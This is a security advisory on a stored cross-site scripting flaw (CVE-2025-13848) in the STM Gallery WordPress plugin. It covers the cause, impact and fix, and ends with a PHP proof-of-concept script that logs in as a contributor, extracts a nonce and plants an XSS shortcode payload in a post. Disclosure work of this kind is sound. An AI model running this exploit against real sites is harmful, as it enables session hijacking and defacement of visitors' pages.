Atomic Edge analysis of CVE-2025-13848 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the STM Gallery 1.9 WordPress plugin. Attackers with Contributor-level or higher permissions can inject malicious scripts via a shortcode attribute. The injected scripts execute in the context of any user viewing a page containing the compromised shortcode.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping for the ‘composicion’ shortcode attribute. The plugin likely accepts user-supplied input for this attribute, stores it in the database, and later outputs it without proper escaping. This is a classic CWE-79 violation. The conclusion is inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation.
Exploitation requires an authenticated session with at least Contributor-level access. The attacker would create or edit a post or page, inserting the plugin’s shortcode with a malicious payload in the ‘composicion’ attribute. For example, a payload like `[stm_gallery composicion=” onmouseover=alert(document.domain) “]` could be used. The payload is stored with the post content and executes when a visitor views the page.
Remediation requires implementing proper output escaping. The plugin should use WordPress core escaping functions like `esc_attr()` when outputting shortcode attribute values within HTML attributes. Input validation should also be strengthened, but output escaping is the primary defense against XSS in this context. A patch would involve modifying the shortcode handler’s rendering function.
Successful exploitation allows attackers to perform actions within the victim’s browser session. This can lead to session hijacking, administrative actions performed by administrators, content defacement, or redirection to malicious sites. The stored nature of the attack amplifies impact, as the payload executes for all future visitors to the compromised page.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13848 - STM Gallery 1.9 <= 0.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
$target_url = 'http://example.com/wp-login.php';
$username = 'contributor_user';
$password = 'contributor_pass';
$post_id = 1; // ID of a post the contributor can edit
// Payload: XSS via the 'composicion' shortcode attribute.
// This payload uses a simple JavaScript alert for demonstration.
$malicious_shortcode = '[stm_gallery composicion="" onmouseover=alert(document.domain) x=""]';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');
$ch = curl_init();
// 1. Authenticate to WordPress and obtain session cookies.
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
// 2. Navigate to the post edit page to obtain the nonce for updating.
// Assumption: The plugin uses the standard WordPress post editor.
$edit_url = "http://example.com/wp-admin/post.php?post={$post_id}&action=edit";
curl_setopt_array($ch, [
CURLOPT_URL => $edit_url,
CURLOPT_HTTPGET => true
]);
$response = curl_exec($ch);
// Extract the nonce for updating the post. This regex is a common pattern.
// In a real scenario, a more robust parser would be needed.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
echo "Could not extract nonce. Authentication may have failed or post ID is incorrect.n";
exit;
}
// 3. Update the post content with the malicious shortcode.
// Assumption: The vulnerability is in the post content field via the shortcode.
$update_url = 'http://example.com/wp-admin/post.php';
curl_setopt_array($ch, [
CURLOPT_URL => $update_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'post_ID' => $post_id,
'content' => $malicious_shortcode,
'_wpnonce' => $nonce,
'_wp_http_referer' => urlencode($edit_url),
'action' => 'editpost',
'save' => 'Update'
])
]);
$response = curl_exec($ch);
if (strpos($response, 'Post updated.') !== false) {
echo "Success: Post updated with malicious shortcode.n";
echo "Visit the post at http://example.com/?p={$post_id} to trigger the XSS.n";
} else {
echo "Error: Post may not have been updated. Check permissions and nonce.n";
}
curl_close($ch);
unlink($cookie_file);
?>
